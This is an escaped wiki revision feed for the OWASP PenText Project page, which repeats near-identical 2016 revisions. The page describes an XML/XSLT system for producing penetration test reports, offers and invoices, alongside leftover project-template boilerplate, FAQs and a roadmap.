   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219167</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219167"/>
				<updated>2016-07-21T10:16:19Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* News and Events */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
Instructions are in RED text and should be removed from your document by deleting the text with the span tags. This document is intended to serve as an example of what is required of an OWASP project wiki page. The text in red serves as instructions, while the text in black serves as an example. Text in black is expected to be replaced entirely with information specific to your OWASP project.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content can be easily adapted by editing the constants provided in each document. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219166</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219166"/>
				<updated>2016-07-21T10:15:33Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* FAQs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
Instructions are in RED text and should be removed from your document by deleting the text with the span tags. This document is intended to serve as an example of what is required of an OWASP project wiki page. The text in red serves as instructions, while the text in black serves as an example. Text in black is expected to be replaced entirely with information specific to your OWASP project.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content can be easily adapted by editing the constants provided in each document. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
